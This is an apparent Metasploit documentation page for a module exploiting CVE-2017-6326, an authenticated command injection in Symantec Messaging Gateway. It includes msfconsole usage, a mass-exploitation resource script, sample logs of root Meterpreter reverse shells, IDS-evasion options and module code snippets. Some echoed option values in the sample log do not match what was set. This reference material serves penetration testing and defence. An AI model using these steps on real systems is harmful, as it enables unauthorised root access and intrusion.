Symantec Messaging Gateway Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/symantec_messaging_gateway_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Symantec Messaging Gateway Remote Code Execution
Module: exploit/linux/http/symantec_messaging_gateway_exec
Source code: modules/exploits/linux/http/symantec_messaging_gateway_exec.rb
Disclosure date: 2017-04-26
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): python
Supported platform(s): Python
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-6326
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a terminal command under the context of the web server user which is root. backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal command. Thus, you need to configure your own SSH service and set the required parameter during module usage. This module was tested against Symantec Messaging Gateway 10.6.2-7.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using symantec_messaging_gateway_exec against a single host
Normally, you can use exploit/linux/http/symantec_messaging_gateway_exec this way:
msf > use exploit/linux/http/symantec_messaging_gateway_exec
msf exploit(symantec_messaging_gateway_exec) > show targets
... a list of targets ...
msf exploit(symantec_messaging_gateway_exec) > set TARGET target-id
msf exploit(symantec_messaging_gateway_exec) > show options
... show and set options ...
msf exploit(symantec_messaging_gateway_exec) > exploit
Using symantec_messaging_gateway_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your symantec_messaging_gateway_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/symantec_messaging_gateway_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The username to login as
PASSWORD: The password to login with
SSH_ADDRESS: The ip address of your SSH service
SSH_USERNAME: The username of your SSH service
SSH_PASSWORD: The password of your SSH service
Knowledge Base
Vulnerable Application
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a terminal command under the context of the web server user which is root.
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause an command injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
Vulnerable Application Installation Steps
Click on the "free trial" button at the following URL. https://www.symantec.com/products/messaging-security/messaging-gateway
You need to complete the reqistration in order to download ISO file. License file will be delivered to your e-mail address
Verification Steps
A successful check of the exploit will look like this:
msf > use exploit/linux/http/symantec_messaging_gateway_exec
msf exploit(symantec_messaging_gateway_exec) > set RHOST 12.0.0.199
RHOST => 12.0.0.199
msf exploit(symantec_messaging_gateway_exec) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf exploit(symantec_messaging_gateway_exec) > set USERNAME admin
USERNAME => admin
msf exploit(symantec_messaging_gateway_exec) > set PASSWORD qwe123
PASSWORD => qwe123
msf exploit(symantec_messaging_gateway_exec) > set SSH_ADDRESS 12.0.0.15
SSH_ADDRESS => 127.0.0.1
msf exploit(symantec_messaging_gateway_exec) > set SSH_USERNAME root
SSH_USERNAME => root
msf exploit(symantec_messaging_gateway_exec) > set SSH_PASSWORD toor
SSH_PASSWORD => qwe123
msf exploit(symantec_messaging_gateway_exec) > run
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Performing authentication...
[+] Awesome..! Authenticated with admin:qwe123
[*] Capturing CSRF token
[+] CSRF token is : 48f39f735f15fcaccd0aacc40b27a67bf76f2bb1
[*] Sending stage (39842 bytes) to 12.0.0.199
[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.199:53018) at 2017-04-30 14:00:12 +0300
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : hacker.dev
OS : Linux 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/symantec_messaging_gateway_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/symantec_messaging_gateway_exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(linux/http/symantec_messaging_gateway_exec) > show info
Name: Symantec Messaging Gateway Remote Code Execution
Module: exploit/linux/http/symantec_messaging_gateway_exec
Platform: Python
Arch: python
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-04-26
Provided by:
Mehmet Ince <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSH_ADDRESS yes The ip address of your SSH service
SSH_PASSWORD yes The password of your SSH service
SSH_PORT 22 yes The port of your SSH service
SSH_USERNAME yes The username of your SSH service
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to Symantec Messaging Gateway
USERNAME yes The username to login as
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits the command injection vulnerability of Symantec
Messaging Gateway product. An authenticated user can execute a
terminal command under the context of the web server user which is
root. backupNow.do endpoint takes several user inputs and then pass
them to the internal service which is responsible for executing
operating system command. One of the user input is being passed to
the service without proper validation. That cause a command
injection vulnerability. But given parameters, such a SSH ip
address, port and credentials are validated before executing
terminal command. Thus, you need to configure your own SSH service
and set the required parameter during module usage. This module was
tested against Symantec Messaging Gateway 10.6.2-7.
References:
https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/
https://nvd.nist.gov/vuln/detail/CVE-2017-6326
Module Options
This is a complete list of options available in the linux/http/symantec_messaging_gateway_exec exploit:
msf6 exploit(linux/http/symantec_messaging_gateway_exec) > show options
Module options (exploit/linux/http/symantec_messaging_gateway_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSH_ADDRESS yes The ip address of your SSH service
SSH_PASSWORD yes The password of your SSH service
SSH_PORT 22 yes The port of your SSH service
SSH_USERNAME yes The username of your SSH service
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to Symantec Messaging Gateway
USERNAME yes The username to login as
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/symantec_messaging_gateway_exec exploit:
msf6 exploit(linux/http/symantec_messaging_gateway_exec) > show advanced
Module advanced options (exploit/linux/http/symantec_messaging_gateway_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/symantec_messaging_gateway_exec module can exploit:
msf6 exploit(linux/http/symantec_messaging_gateway_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/symantec_messaging_gateway_exec exploit:
msf6 exploit(linux/http/symantec_messaging_gateway_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/pingback_bind_tcp normal No Python Pingback, Bind TCP (via python)
17 payload/python/pingback_reverse_tcp normal No Python Pingback, Reverse TCP (via python)
18 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
19 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
20 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
21 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/symantec_messaging_gateway_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/symantec_messaging_gateway_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Didn't get cookie-set header from response.
Here is a relevant code snippet related to the "Didn't get cookie-set header from response." error message:
97:
98: if res && !res.get_cookies.empty?
99: last_login = res.get_hidden_inputs.first['lastlogin'] || ''
100: sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
101: else
102: fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")
103: end
104:
105: cookie = ''
106:
107: # Performing authentication
Credentials are not valid.
Here is a relevant code snippet related to the "Credentials are not valid." error message:
125:
126: if res &&res.body =~ /Logged in/
127: cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
128: print_good("Awesome..! Authenticated with #{username}:#{password}")
129: else
130: fail_with(Failure::Unknown, 'Credentials are not valid.')
131: end
132:
133: cookie
134: end
135:
There is no CSRF token at HTTP response.
Here is a relevant code snippet related to the "There is no CSRF token at HTTP response." error message:
148: match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)
149: if match
150: csrf_token = match[1]
151: print_good("CSRF token is : #{csrf_token}")
152: else
153: fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
154: end
155: else
156: fail_with(Failure::Unknown, 'Something went wrong.')
157: end
158:
Something went wrong.
Here is a relevant code snippet related to the "Something went wrong." error message:
151: print_good("CSRF token is : #{csrf_token}")
152: else
153: fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
154: end
155: else
156: fail_with(Failure::Unknown, 'Something went wrong.')
157: end
158:
159: csrf_token
160: end
161:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8540 Merged Pull Request: Adding module Symantec Messaging Gateway RCE
References
- https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/
- CVE-2017-6326
See Also
Check also the following modules related to this module:
- exploit/linux/http/symantec_web_gateway_exec
- exploit/linux/http/symantec_web_gateway_file_upload
- exploit/linux/http/symantec_web_gateway_lfi
- exploit/linux/http/symantec_web_gateway_pbcontrol
- exploit/linux/http/symantec_web_gateway_restore
- exploit/linux/ssh/symantec_smg_ssh
- auxiliary/scanner/http/symantec_brightmail_ldapcreds
- auxiliary/scanner/http/symantec_brightmail_logfile
- auxiliary/scanner/http/symantec_web_gateway_login
- exploit/windows/antivirus/symantec_endpoint_manager_rce
- exploit/windows/antivirus/symantec_iao
- exploit/windows/antivirus/symantec_rtvscan
- exploit/windows/antivirus/symantec_workspace_streaming_exec
- exploit/windows/browser/symantec_altirisdeployment_downloadandinstall
- exploit/windows/browser/symantec_altirisdeployment_runcmd
- exploit/windows/browser/symantec_appstream_unsafe
- exploit/windows/browser/symantec_backupexec_pvcalendar
- exploit/windows/browser/symantec_consoleutilities_browseandsavefile
- exploit/linux/http/microfocus_secure_messaging_gateway
- exploit/linux/http/spring_cloud_gateway_rce
- exploit/multi/http/kong_gateway_admin_api_rce
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/windows/browser/citrix_gateway_actx
- exploit/windows/http/altn_securitygateway
- exploit/windows/http/ca_igateway_debug
- exploit/windows/http/privatewire_gateway
- exploit/windows/scada/codesys_gateway_server_traversal
Related Nessus plugins:
Authors
- Mehmet Ince <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
